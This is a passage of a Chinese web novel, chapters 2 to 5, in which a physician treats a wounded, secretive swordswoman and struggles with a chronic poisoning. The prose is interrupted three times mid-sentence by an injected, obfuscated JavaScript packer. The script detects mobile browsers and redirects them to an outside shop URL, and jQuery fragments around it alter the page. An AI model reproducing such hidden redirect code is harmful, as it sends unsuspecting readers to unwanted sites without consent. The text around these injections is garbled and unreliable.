《院里【gb】》 2. 第二章 其实在回程路上,女子就醒过两次,但浑浑噩噩,反应不清。 回了景顺,一切都方便了。 医馆里医师众多,经验丰富,杨知煦也不是第一次救人回来,李文将人送进医馆,大伙问都没问便开始做准备了。 说是很快就能回,结果干了一整晚,中间杨知煦又将李文差遣回宅拖延时间,他将女子身上刀伤尽数清理缝合,再调配生肌药膏,全都弄好,已经月上中天了,他擦擦额上的汗,稍微交代了几句,剩下的就交由医馆接手照料了。 赶回家中,一家子人都在等他开宴,他小侄子饿得哇哇叫小叔,杨知煦给他抱起来,连连道歉,笑着入座。 刚回家,七七八八事情很多,杨知煦被家里人拉着问东问西,又有各路友人拜访,等他再去医馆的时候,已经是三日以后了。 步入医馆,穿过柜台和中厅,拐到诊房。 原本的榻席空了。 “三娘,这人呢?” 张三娘是这家医馆的医师,她同杨知煦道:“昨日就醒了,还没来得及告诉你。” “醒了?”杨知煦顿了顿,“走了?” 张三娘道:“没走,刚她问我哪里有水,我说后院有口井,我问她是不是渴了,等下就拿水过来,她也没回话,也许是等不及了?” 杨知煦出门,绕到后院,刚好看见那女子提着一桶凉水从头上浇了下去。 “哎!” 杨知煦大惊,想要制止,刚出一声,女子回头看来。 杨知煦微微一愣。 女子穿着一身医馆的灰白里衣,她多日昏迷,只进少许粮食,瘦得形销骨立,像根细竹。她的年纪约莫二十三四,细眉细目,气质简洁,甚至有点拙朴。正午时分,艳阳高照,她像一块浸不透的沉木一样站在那,浑身上下唯一的灵动,也许就是眉间的那颗红痣了。 一阵微风吹过,杨知煦醒了过来。 他问:“谁让你下地了?” 不对。 “谁让你沾水了?” 这么一问,杨知煦彻底回神,他走过来,把水桶夺来放到一边,垂眸看着女子,有些无奈似的,又是那句老话:“就没见过这么不听话的,过来。” 女子跟在他身后,两人回了医馆,张三娘一见她浑身湿透,“呀”了一声,牵着她到后面换衣裳。 杨知煦去偏房等着,不一会,张三娘把女子送了过来,她又换了一身干净的素装,头发也擦了,用一根木钗盘在脑后。这屋没人,门敞开着,杨知煦又叫张三娘送来一壶茶,他翘着二郎腿坐在椅子里,折扇放在桌边。 张三娘走了,屋里就剩杨知煦和女子二人,杨知煦道:“你该卧床歇息。” 女子气血缺失,面色有些灰败,但眼睛还算有神。“我没事,”她的声音有些低,“是你救了我。” 杨知煦笑道:“对。” 女子问:“花了多少钱?” 杨知煦一愣,忽然觉得有趣,手指点了点对面,道:“不急,你先坐下,账得慢慢算。” 女子坐到对面,杨知煦示意茶盏,一声“请”还没来得及出口,女子已经一饮而尽。 杨知煦改为介绍:“这是天京朋友送的极品紫笋。”他用扇子稍微遮住面庞,明明只有两人,却像说秘密似的,压低了声音,“说是给皇上的贡茶,我朋友顺了一份出来,如何?” 女子显然未料到这茶这么有来历,她单手持着建阳窑的茶盏,就像端着路边歇脚摊的破口大碗,顿在那了。 杨知煦问:“好喝吗?” 女子道:“好喝。” 杨知煦笑道:“好喝就成。”那折扇在他手里像花似的,转了一圈,轻巧握在掌心,“不知姑娘如何称呼?” 女子放下茶盏。 “我叫檀华。” “檀姑娘哪里人士?” “不知。” “你不知自己家在哪里?” “我没有家。” “……没有家,那你生活在何处?” 檀华看着眼前人,问道:“这跟还钱有关吗?” “当然有关。”杨知煦认真同她讲理,“你瞧,我在沙暴中救下你,你一身盗匪装束,浑身是血,当时手里还拿着刀……” 她没说话。 杨知煦诚恳地说:“姑娘莫怪我疑心,我总得知道点底细,景顺城中上万户百姓,我又不知你是好人歹人,你要走歪路取财,我岂不成了引狼入室的罪人?” 檀华陷入了沉思。 “……如何,”檀华喃喃发问,“算是好人?” 杨知煦眉峰微动,折扇在手中敲了敲,道:“好人?至少不能为非作歹吧,踏踏实实,本本分分,也就够了。” 檀华的视线回到杨知煦的面容上。 门口,微风徐来,垂柳摇曳,日光如同碎金,伴随着飞絮,飘过门槛。 他白色的绸衣上,纹着浅色的吉祥纹,针脚细腻,流淌金光。 少见的清正俊逸。 “我不会的。”檀华道。 杨知煦等了等,没有下文。 她没说不会什么,也没说自己的出身,杨知煦不再追问,只道:“好吧,那咱们来算算账吧。”他指尖敲敲桌面,开始细数,“我想想啊,我都用了些什么……紫金丹六枚,一枚七百文;云英丹四枚,一枚一千文;还魂丹五颗,这个可就贵了,一颗少说也得三千文;还有生骨膏,度厄丸,加上我为你施针、上药、缝合,这些零零碎碎加起来,嗯……勉强算你三十贯吧。” 他话讲得轻轻飘飘,像是随口胡诌一样,檀华听完,半句疑问都没有。 “好。” 杨知煦好奇道:“你打算如何还钱?” 檀华:“不用担心,我一定会还的。” 杨知煦莞尔,起身。 “那就这么定了,不过不用急,把伤养好才好赚钱。你要多歇息,我还有事,就先走了。” 檀华起身相送,到了门口,他又回头看她,这次脸上带了点名医的气势。 “定要遵医嘱,今日这种冷水浇头的事万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205654|197324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万不能有第二次了,身体恢复之前,一切听三娘的。” 他遮住了阳光,影子落在她身上,把她整个罩了起来。 蓦然间,杨知煦好像闻到了一股气息,淡淡的,像是乌木,还是沉香?或是一种叫不出名的香料,不是错觉,风一吹就更明显了。 檀华道:“多谢杨公子救命之恩。” 杨知煦微微仰头,来不及再分辨香从何来,轻笑一声:“好说。” 离开医馆,杨知煦前往流花阁赴约,一进店,莺莺燕燕全都围了上来。 “哈哈,玉郎。” “怎么出门这么久呀?” “天京有什么妙人,是不是把姐妹们都忘了?” 杨知煦在某些方面可谓名声在外,什么名声?风度翩翩,倜傥不群,讲这些都俗了,姐妹们都说,世上少见杨玉郎这种人,医帽一束,读书教学,诊疗看病,便是春杏堂里最严谨负责的医师,而长发散扎,折扇一开,那就是走到哪潇洒到哪的世家公子。 流花阁是一座酒楼,不过听这名字也知,定是沾些风流。但杨知煦与此地结缘,倒不是因为风月,而是当初他偶然发现,流花阁里姑娘们私用的妇科方剂有些不妥,治了三分病,却伤七分身,他就找到酒楼管事霜花,与她商量,改进药方。 这事后来不知被谁传了出去,被杨建章知道了,杨建章把杨知煦叫去问话,问明白了,嘱咐了几句就让他走了。杨家家风是严,却也通情通理。 虽说如此,风言风语肯定还是有,毕竟才子佳人到哪都是人最爱聊的。 人们讨论,杨玉郎为何突然帮流花阁研究药方,肯定是看上谁了!能是谁呢?不清楚,不过哪位姑娘要是能得杨玉郎的青睐,那可真是天大的福气。 姑娘们那段时间可真是努力,什么招都用了,不像话的他就挡下,有些善意试探的,比如想借着游戏罚罚他,他就陪着玩,但他总是赢,总是赢,次数多了,大家就知道,他就是不想而已。那时杨玉郎年纪不大,跟春杏堂其他医师不同,他自小医武双修,样样都通,江湖上颇有名气。比起寻常大夫,多了几分快意豪气,比起寻常侠客,又少了点粗野凶横,倜傥潇洒,仗义疏财,全然的君子之姿。 这种人眼光高也正常,媒人的眼睛都恨不得挂在他身上,给说的都是有头有脸的高门,也没见他同意。母亲赵旻惯着他,说他还小,还不收心,喜欢四处闯荡,再过一阵定下也不迟。 结果没过几年,杨家就出事了。 直到现在,也没人清楚具体发生了什么,只知道宰相唐垸控告杨家通敌谋反,全家被关进大牢大半年才放回来,刚回来那段时间,这一家子像是惊弓之鸟,大门不出二门不迈,后来有丝丝流言传出,说杨玉郎好像受伤了。又过了近一年,杨玉郎才在景顺露面,还是从前那副笑模样,只是瘦了好多。 大家很少在他面前提这事,有些老一辈的看得心疼,就劝他一句:“过来了就没事了。” 他听了就笑着点头,风轻云淡地跟一句:“对,过来了就没事了。” 3. 第三章 流花阁七层高,顶楼能眺望整座景顺城。 “有什么可看的,准备了这么多好菜,碰都不碰一下。” 杨知煦并没有回头,仍是半倚着窗子,与霜花说:“菜是吃不下了,你要是能拿百花酿出来就另说。” 百花酿是流花阁的招牌美酒。 霜花道:“我可不敢给你,赵娘子怪罪下来你担着吗?” “我担着。” “你就嘴上担吧。” 杨知煦轻轻一笑,似是认了。 霜花布好菜,一抬头就瞧见了这个笑,嘴角不禁也弯了。 “那是什么?”霜花示意放在一旁的包裹。 杨知煦道:“天京带回的茶,说是贡茶,你尝尝。” “哟,我倒要瞧瞧皇帝 平日喝什么。” 霜花叫人端来一套白瓷薄胎盖碗,泡了两杯,与杨知煦同饮,轻尝一口,赞叹道:“好茶,鲜醇干爽,芳香凛冽,皇帝可真会享受。” 杨知煦靠在窗边,撑着脸,看霜花轻缓饮茶的样子,忽然想到刚刚檀华一口闷掉的画面,不禁轻呵一声。 霜花道:“心情这么好?看来这趟远门没白出。” 杨知煦道:“还成。” 霜花道:“可有什么新鲜事?” 杨知煦道:“能有什么事,见见老朋友而已。” 他说完,也端起茶碗喝了一口。 霜花与杨知煦相识多年,自是明白他的性格,这人看着随和,但嘴严得要命,尤其是景顺城外的事,他极少提起。 “茶有花香,”杨知煦品评道,“‘香孕兰蕙之清’,古人诚不欺我。” 说完,看着细嫩成朵的叶底,又回忆起了什么。 霜花问:“在想什么?” 杨知煦道:“我在想,刚刚闻到的一种香味。” “兰花?” “不是。” “那是什么?” “我也不知道。” “你怎么迷迷糊糊的,”霜花歪头看他,“要不要我让你精神精神?” 杨知煦抬眼看来,霜花笑着从一旁取来几卷画,放到杨知煦面前。 杨知煦把画卷展开,是一位女子,他再开另一卷,是另一位女子,他不开第三卷了,往旁边一靠,曲起一条腿,无奈道:“你再这样下次我不来了。” “别啊。”霜花忙说,“还不是赵娘子逮不着你,说你天天一大早就出门,要么去见朋友,要么就是往医馆一躲……”看着杨知煦百无聊赖的表情,霜花叹了口气,“她也是心疼你,你都这个年纪了,怎地就不愿成家呢?” 杨知煦好笑道:“你比我还大上三岁,你不是也没成家?” “你跟我能一样吗?” “有什么不一样?” 霜花说得急了,眉头轻拧,“你是何等出身?我又是何等出身,怎么能在一起相提并论呢?” 杨知煦道:“出身算什么?不过是上辈子的事,只盯着这看的,不是懒人,就是蠢人,你是哪种啊?” 他那嘴真说起来谁也饶不过,霜花忽然心里涌出一阵委屈,眼底一热,差点就落泪了。 杨知煦见了,顿了顿,放缓了声音:“……唉,好了,怪我怪我,我不说了。” 他这一劝,霜花更想哭了。 为表歉意,杨知煦把那几卷画像都看了一遍。 看了也白看。 檀华去找张三娘。 这已经是她五日里第四次找张三娘了。 张三娘正在整理晒药材,见她过来,看了一眼没吭声。 檀华道:“我可以去做工了。” 张三娘忍不住在心里叹气,每次的开场都是这句话,于是她也重复自己的回答。 “还不行,你还得养。” “只是皮外伤。” “那也得养。” 檀华看她用桑木生火,然后将药材放在木甑里隔水蒸透。 “你是不是跟隔壁的粮行说了什么?”檀华问。 张三娘道:“你倒是机灵,是说了,不止粮行,这附近的油坊染坊,茶馆酒肆,都打过招呼了,这边没松口,谁也不能雇你,你就安心养伤吧。” 檀华道:“我得还钱。” 张三娘无奈,擦擦手走过来,语重心长地对她道:“姑娘,玉郎就是想让你活,你真当他在乎那点丹药钱?你不如早点好起来,他妙手回春,心里就高兴,心里一高兴,身体就好了,比你还什么都值钱。” “他身体怎么了?”檀华问。 张三娘不欲多言,没再往下说,只道:“总之,与其还钱,不如换个康健之身,你说是也不是?” 檀华看着张三娘,平静道:“都还。” 张三娘差点没气乐了。 就这么磨了几日,等杨知煦再来医馆的时候,檀华已经成功上工了,张三娘同杨知煦道,没办法,这姑娘轴得厉害。 张三娘说:“我拗不过她,又怕她在外边胡来,就让她在店里做事了。你别说,原本只是想让她试试切药,结果做的是真利索,让切多厚就是多厚,分毫不差,切得比老伙计还要好。” 杨知煦心说,捡来的时候人都快死了,还握着刀,可不得会切东西吗? 他去后院瞧,檀华就坐在角落里切草药,面前摆着张矮桌。 她切得认真,但也在杨知煦踏入院里的一瞬间就看了过来。 “杨公子。”檀华放下药材。 杨知煦道:“哎,你坐着,我就是来取些东西。” 杨知煦拿钥匙打开库房的门,里面不少杂物,他一边翻找,一边念叨着,说学生手笨,弄坏了针灸教学的模具。 檀华要过来帮忙,杨知煦回过头,摆手道:“你做自己的事就好,不用管我。” 檀华注意到杨知煦头上位置,有一个木箱,摆的位置不是很正,杨知煦在下面一翻,箱子一下失了平衡。 檀华反应奇快,拔身而起,杨知煦自己也察觉箱子掉下来了,刚要抬手挡,就感觉耳边倏地一下,人比风先到。 檀华一手抓住他的手腕,另一只手五指张开,抵在箱下使了个巧劲儿,转了半圈稳稳接住,放到一旁。 她事情都做完,风才吹到,香也才吹到。 杨知煦视线垂落,看着抓着自己小臂的手掌,檀华回过神,松开了手。 “杨公子小心。” 杨知煦再次看向她的脸,静了静,道:“谁让你运功了?” 檀华道:“没事。” 他眉毛微动,斜眼瞧,就像特地配合他似的,檀华肩头一凉,湿润的触感慢慢蔓延开来。她瞄了一眼,果然出血了。 随之听见一声叹气,杨知煦道:“过来。” 还是熟悉的午后,还是熟悉的后院偏屋,甚至日光里的飞絮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205655|197324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位置都没怎么改变,仿佛昔日重现。 檀华盯着门栏上方飞舞的碎屑,有点怔住了。 杨知煦准备了清水净布和生肌膏,将檀华肩头衣物褪下一半,拆开旧包扎,处理崩开的伤口。 “可能会有些疼,我数三声,吸一口气屏住,一,二,三——” 说实话,檀华并没有屏气,也不觉得有什么难忍的,杨知煦手太快了。 “疼吗?”杨知煦问。 檀华开口—— “没事。” “没事。” 竟是异口同声。 檀华转过头,杨知煦正在笑,“就知道,猜你的话可真简单。” 因为垂着头处理伤口,他的声音有些低,有发丝垂落脸边,使那笑容半遮半掩。 她许久没回话,杨知煦也看过来一眼,也正好撞进那双黑漆漆的眸子中。 “檀姑娘的眼睛像双葡萄,黑得发紫。”他说着,将衣服重新披在她肩头,用剩下的清水洗了洗手。 “你呢?”檀华反问。 杨知煦一时没回神,“什么?” “我像葡萄,你像什么?” 她说话声音不高,就像人一样,一方沉潭。在见她第一面,她尚昏迷不醒的时候,杨知煦就莫名有种感觉,这不是一个话多的人,醒来后,也验证了他的预想。 现在倒好,锯嘴葫芦突然出响了,他这利索的嘴皮子竟有些反应不及。 “我?我……”杨知煦脑子到底转得快,笑道,“不自夸地说,确有人形容在下这双眼睛像新烧的琉璃。” “琉璃?” 杨知煦收着东西,檀华想帮忙,被挡下了,他随口问:“怎么?不像吗?” “不像。” “那你说像什么?” “我若是葡萄籽,”檀华看着他整理东西的修长的手掌,淡淡道,“你得是摩尼珠。” 杨知煦一愣,手停住,转过眼来。 她也抬眼,四目相对,她说:“琉璃虽好,不过人力所造,仍是有价之物。” 她只说到这,但后半句的意思也明了了。 她生得一张淡薄的面孔,少有表情,喜恶难辨,有时甚至给人一种慢半拍的钝感,谁曾想能说出这样的话? 还说得这么真。 不过也对,慢什么慢,钝什么钝,刚刚她近身的功夫难道没看见? 只是…… 微乱之间,杨知煦似乎又闻到那股香气了,他垂下头,淡笑道:“姑娘高看我了。” 她没说话。 太静了,屋里只剩杨知煦收拾桌子的声音。 李文人未到,声先至。 “公子!公子!好了没啊——” 杨知煦与檀华告别。 “好好养伤,切药倒是可以做,但也别太过劳累,”顿了顿,又道,“有什么需要的,就找三娘说,别抹不开口。” 檀华道:“好,多谢杨公子。” 李文迎上来,替杨知煦拿了东西,走到后院门口,杨知煦回了下头,看见檀华还站在院里目送他。 他稍微点头示意,然后转身离去。 他没有坐马车,选择步行回程。 街上两旁的商贩叫卖声绵绵不绝。 走着走着,杨知煦深吸一口气,缓缓呼出,抬手理了一下衣领。 刚入夏,天似乎热起来了。 4. 第四章 月色下,管家正跟李文说着什么。 “他们说派人出去瞧了,还得几天才能有信。” “怎么搞的,怎么偏偏这趟碰上劫匪了?” “说是为了节省时间,换了条路线,一时不察。”管家道,“不过他们也说了,他们还在找,而且他们会照价赔。” “呸!”李文骂了一句,“还来得及吗!赔有什么用,这群废物!” 他们说的是跟威德镖局的买卖,景顺的春杏堂是全国最大的总号,每个月要给各地分号送些药品丹丸,然后也要从外地进一些药回来。这一次回程的镖货里,有一味药叫迷驼丁,这是一种生长在乌涂沙漠里的草药,非常稀少,使用条件也很严格,离土之后超出一个月就不再有效果了。 这药是给杨知煦用的,是他自己和春杏堂数位长老一同研究出来的药方,当时为了寻找能缓解烈性麻痹毒性的药,杨知煦喝了不知多少种试剂,最终才定下来这方药引。迷驼丁少到全国药房都翻不出几根来,只能去乌涂那边找,每三月要一次。 最近一年越发艰难,乌涂那边闹叛乱,刀兵四起,风险越来越大。 管家和李文正说着,院内正屋的门开了,杨知煦从里面走出来。 李文送杨知煦回房,路上察言观色,感觉杨知煦有些无奈的愁容。他大概能猜出老爷和夫人跟他说了什么,无非是让他快些成家的老调子。 其实李文也不懂为什么杨知煦不愿成家,之前他甚至怀疑杨知煦有断袖之癖,胆大包天问过一次,杨知煦一声冷笑,罚了他两个月的月钱。杨知煦受伤之后家里就很少催了,是最近半年才又开始的。 “公子啊……”走了一半路,李文开口了。 “嗯?” 李文犹犹豫豫的,到底把威德镖局的事说了。谁知杨知煦一听,居然乐了。 “真是时候啊。” “什么时候?” “这药丢的真是时候。” 李文觉得他莫不是疯了。 杨知煦没疯,他确实觉得药丢的是时候,刚才杨建章和赵旻还有杨知镇跟他提了一件事,月底太守郭双寿宴,邀请了他们一家。赵旻说,郭双的弟弟郭林在朝中任军都指挥使,有一独女名郭婉洛,年方十七,据说是容姿绝艳,貌美如花。杨知镇在旁敲边鼓,说他之前去太守府出诊见过郭婉洛一次。 “真是将门虎女,非是寻常闺秀样,舞枪弄棒不输男子,不仅漂亮,而且敏捷开朗,与玉郎正般配。” 杨知煦很想调侃一句配在何处,他现在是耍得了枪?还是舞得了剑? 但他也知道,这话说出去,父母兄长一定会难受,他就留在心里自己嘲嘲就算了。 “十七……我长人家十岁,怎么都不合适吧。” “这就不是你要考虑的了,”杨建章说道,“郭太守既然跟我提了,就是人家有意,不论如何,太守寿宴上你也要去招呼一下,不能失了礼数。” 杨知煦没说话,杨知镇在旁活跃气氛,“对了,这次太守寿宴请了西域的杂戏团,带来好多稀罕玩意,听说有一种马,长得可怪了,是从乌涂往西还要千里之外的国度带来的,是那边的圣物呢,咱们可得好好看看热闹。” 杨知煦没办法,只得应了下来。 现在好了,迷驼丁没了。 迷驼丁严格来说是一种毒药,用在他身上算以毒攻毒。他每三个月要引毒一次,其实不用迷驼丁也可以,也有别的药能代替,只是效果没那么好,迷驼丁引毒缓个两天就可以下地行走,换别的药,没个十天根本爬不起来。 算算日子,刚好能把这次太守寿宴给赖过去,有这挡箭牌,想必父母也不能说什么。 李文见杨知煦走着走着居然笑起来了,心中感慨。 疯了,到底还是疯了,不过能坚持这么久才疯,公子也算是人中翘楚了。 果然,在得知威德镖局丢镖了之后,杨建章和赵旻完全把太守寿宴的事抛到脑后了,赵旻急得快要哭出来,杨知煦还假模假势地说:“母亲,我去不了寿宴了,你和爹亲去寿宴时替我赔个罪。” 赵旻道:“这倒没事,郭太守知道你的情况,只是玉郎,你……” 杨知煦帮她宽心,“有替代的药,从前没找到迷驼丁的时候我也挺过来了,我现在已经适应引毒的过程了,母亲不用担心,往后几日我要准备一下。” 杨知煦的事情不少,只是他做事一向专注,脑子快,手脚也快,余下的时间多,就显得从容闲散。 突如其来的丢镖打乱了他的计划,他先去药材库将自己要用的东西预备出来,然后去春杏堂布置学生的事,又将之后约了诊疗的人一一安排给合适的医师,最后去医馆处理现有的病患。 最后一个病患,在后院里。 有些神奇的是,在安排完倒数第二位病患时,杨知煦就有一种松了口气的感觉,仿佛事情都已经完成了,剩下的都是放松的事。 这么想着,他步入后院。 空空荡荡。 杨知煦眨眨眼,稍歪了下头,回到前厅。 “三娘,人呢?” 不用细说,张三娘也知道他问的是谁。 “出去了,这边的活不够她做,闲不住了。”张三娘同杨知煦道,“你不用担心,现在是真没什么大事了,她恢复得太快了。” 其实,檀华不是闲不住了,她是一个相当闲得住的人,她只是觉得在医馆里做工,赚得太少,也太慢。 她顺着街道走下去,碰到招工的店铺就问一句,这么一走一问,到了一家门口摆着兵器架的门户前。她抬头看,门上有挂匾——威德镖局。 她进了门,是一块空荡荡的练武场,四周种了柳树,吹了一地落叶,也没人打扫。 她的视线偏到一个方向,不多时,从里面出来一个牵着马的年轻男子,看着二十六七岁,身材结实,一看就是练家子的,他面色沉稳,此刻眉头紧锁,好像在思索着什么,牵着的马上有行李和兵器,看着好像要出门。 “劳驾,”檀华一出声,这男子惊得一跳,“请问还招人吗?” 徐庆远是真真被吓到了,他完全没注意到院子里还站着个人,按理说以他的功夫,这个距离不可能感觉不到。这丢镖真的搞得他心乱如麻。 “你是……” “你这还招不招人?” “你来应镖师?” “对。” 徐庆远这才回过神,上下打量这女子,中等身量,稍有些瘦。 行走江湖,道士和尚女人小孩最不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205656|197324||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能小瞧,徐庆远问:“女人应镖师,吃得了苦吗?” 檀华道:“钱给够就吃得了。” “钱给够?”徐庆远这几天下来难得乐了一次,他牵着马走到檀华身前,“敢问姑娘有多大本事?” 他话音未落,忽觉眼前一道影。徐庆远的脑子已经反应过来她动手了,只是身体还僵着,一眨眼的功夫,她又像一动未动似的,原地站着。 徐庆远看向她的手。 檀华两指夹着半缕他的鬓边发,抬起来展示。 能断你的发,就能断你的喉。 她是手背朝着他,徐庆远知道,人用手指是无论如何也不可能割掉头发的,她其他三指应是夹着利刃,或许是薄薄的刀片一类。 其实当面断发,已是冒犯,但徐庆远没那么讲究,他觉得女子这手功夫漂亮极了。 “姑娘可是用暗器的高手?” 檀华把手腕翻下,露出手掌,她另两指夹着的居然是一片落得满地都是的柳树叶。 徐庆远大惊,“这,这……”他只听在演义里听过“柳叶成刀”的功夫,如今亲自得见,后背都湿了。 檀华丢了树叶和头发,比了一个手势。 “我要这个数。” 徐庆远脑子乱作一团,“这,不是,姑娘,我们镖局现在、现在有大事……” 檀华看着他带着的马匹和兵器,“有大事不是正需人手?” 徐庆远苦恼道:“现在总镖头不在,我做不了主,主要是我们可能要赔一大笔钱,现在开不出高价……” 檀华一听价格不行,转身就走。 “姑娘,姑娘!”徐庆远觉得可惜,追着挽留,“如果我们找回了杨家的镖,就不用赔钱了,到时我再跟总镖头说,姑娘有这么好的身手,他一定肯出价的!” 檀华站住脚步,回过头,徐庆远觉得自己说通了,正要再接再厉,檀华问:“杨家的镖?” 徐庆远:“啊……” “哪个杨家?” 徐庆远一愣,道:“……景顺还有哪个杨家?当然是春杏堂的杨家啊。” 檀华回到医馆时,已是黄昏时分。 她走着路,还在想着刚才得知的事。 徐庆远是威德镖局总镖头徐胄的二儿子,这次是他看家,丢的镖是春杏堂的,这趟镖价格高,因为有一包来自乌涂的草药。具体是什么药,徐庆远不清楚,但他听徐胄偶尔说起过,这药对杨家非常重要,每三个月要一次,多少钱都在所不惜。 对镖局来说,镖就是命,丢镖就是丢了镖局的命,更何况是丢了杨家这么重要的镖,就算从上到下死绝了,也必须找回来。 檀华现在还不知具体的事情,但零零散散的碎片拼在一起,也大致明白了些。 “哎,终于回来了。” 檀华抬头,声音是从偏屋里传出来的。 门开着,她走过去,看见屋内杨知煦坐在椅子里,手边是已经喝光的茶碗,一看就是待了很久。 檀华道:“杨公子……” 杨知煦发现,自己特别爱看这人发愣的样子,光看着心情就很好,就没那么烦心了。 他悠悠道:“我给再大的官看病,也没等过这个时候,檀姑娘是有多大的面子呀?” 5. 第五章 檀华进了屋子,道:“我出门前跟张三娘说了,她没告诉你?” 杨知煦道:“告诉了,但没说要这么久啊。” 檀华走到桌前,“你来瞧病?我身体已无碍,去外面看招工。”她把桌上空了的茶碗都收起,“我去泡茶,稍等。” 檀华去院里烧水,重新泡了茶,回房坐到桌子另一端。 “我没事了,杨公子。” 杨知煦歪头看她,似是评估,“嗯,确实好了不少,但也不能大意,这段时间最容易反复,我给你预备了一些药。”说着,他把手边的药材拿过来,都是分好的,一共二十几包,分成两部分。“这是内服,每天醒来服用一次。这是外用,每天睡前涂抹伤口,记住了吗?” “记住了。”檀华说。 杨知煦把药放好。 檀华看着这一大堆药包,“为何准备这么多?” “哦,过两天我可能要闭关一段时间。” “闭关?” “对,大概半月吧,这期间我不能过来,把药都分好,省得麻烦。”杨知煦想着药包里添加的那些名贵材料,笑着说,“等我闭关出来,你应该能好个七七八八了。” “闭关做什么?”檀华问。 杨知煦笑道:“哟,今天怎么还好奇起来了?闭关还能做什么,自然是研习课题,精进医术。” “是因为药丢了吗?” 杨知煦一愣,看了过来,神情有些错愕。 “……你是怎么知道的?” “我刚刚路过了威德镖局,听他们的人说的。” “呵,”杨知煦认了似的端起茶盏,苦笑,“我就是只任人议论的猴子,景顺城里哪有秘密。”然后一口喝了半碗茶,明显不是他平日里饮茶的风格。 檀华道:“镖局的人还在找,说是有消息。” 杨知煦:“没有也无妨,就是多忍几日罢了。”他放下茶盏、碗,又道,“别的倒不遗憾,就是错过了太守寿宴,听我哥说太守府请来了杂戏团,还搞来一匹怪马。” 檀华听出他有意想换个话口,便也不再说药的事了。 “怪马?有多怪?”檀华问。 “不知道啊,没准是骗子,从前我被这种珍奇异宝的消息骗得到处跑,没少上当。” “杨公子爱看热闹。” “对啊,”杨知煦侧过身子,玩着折扇,“儿时课业多如繁星,每天睁眼就开始背医典,学堂里属我背得最快,就想着背完能出去转转。”他笑着,又问,“檀姑娘呢?檀姑娘不爱看热闹?” 檀华一手扶着茶碗,凝视着茶水,似是回忆着什么。 片刻,她道:“不爱,我身边的热闹,一半是他人的麻烦,一半是我造的麻烦。” 杨知煦好奇道:“你都惹过什么麻烦?” 檀华道:“要死人的麻烦。” 杨知煦静静看着她,依旧面带笑意,轻声道:“檀姑娘有好多秘密。” 檀华点头道:“是。” “噗……”这耿直的承认让杨知煦感觉啼笑皆非,他心想真是没白等,在这聊一会,心情好多了。 只是时辰见晚,没说几句,李文就来到医馆催了,催了第一次,杨知煦让他去外面等着,半柱香后回来,又催第二次,说府里晚膳准备好了,夫人说必须等你。 “杨公子,你该回去了。”檀华说道。 杨知煦不无遗憾,“我还一个秘密都没撬出来呢。” 檀华无言。 杨知煦起身,檀华来送他,走到门口,杨知煦停下脚步,斜睨了一眼,淡淡道:“都怪你回得这么晚。” 他生得平眉弯目,睨人都像在笑。 檀华道:“都怪我。” 杨知煦嘴角弯起,道:“说笑呢,我要走了,再见面得半月后了。你早些休息,不必送我。” 杨知煦朝门外走。 “杨公子。” 他回头,檀华道:“保重。” 杨知煦笑了笑,“你也是。” 李文抱着手臂靠在后院门口,那两片厚嘴唇抿了又松,松了又噘,噘完再抿,眉毛紧蹙,视线就在这俩人身上来回转,似在琢磨着什么。 杨知煦走到他身前,李文小声嘀咕:“什么病看两个时辰?”杨知煦看他一眼,李文闭上嘴巴,乖乖跟上。 上了马车,杨知煦靠在塌上,先抬手摸入自己的发丝,从里面抽出两根之前埋入穴位的银针。这针是用来提神的,但不能久插,随着针抽出,那股子吊着的劲儿一下子就落下去了,杨知煦眉头微紧,闭目安神。 “公子,到了。”李文停下马车,见里面没动静,“公子?”他把帘子掀开,杨知煦刚刚睁眼,脸色不太妙,李文忙问,“公子,你怎么样?” “……小点声,别嚷。” 下车时,杨知煦头昏了一下,手扶住马车边沿稳住身体。 “公子!”李文上去扶他,“公子,你的手……” 杨知煦抬手,刚刚扶马车时,他的食指被刮了一道口子,流了好多血。 但不疼,这手已经麻到一点感觉都没有了。 离引毒的日子越近,身体变化就越快,有时候甚至一个时辰一个样。 管家迎了出来,杨知煦把手放到身后,对李文:“……别大惊小怪,你去告诉他们,我马上就过去。” 杨知煦先回房把手上伤口处理了。 他发觉自己有点抖。 伤其实是小伤,但这感觉太糟了,他按压伤口,就像是在用一节木头按压另一节木头,这还只是开始,往后的几天里,他的皮肤会像裹上一层蜡一样,逐渐失去触感,而肌肉会从四肢慢慢僵直,等完全不能动的时候,刺骨的疼痛会从心脏随着经络向外蔓延,真真生不如死。 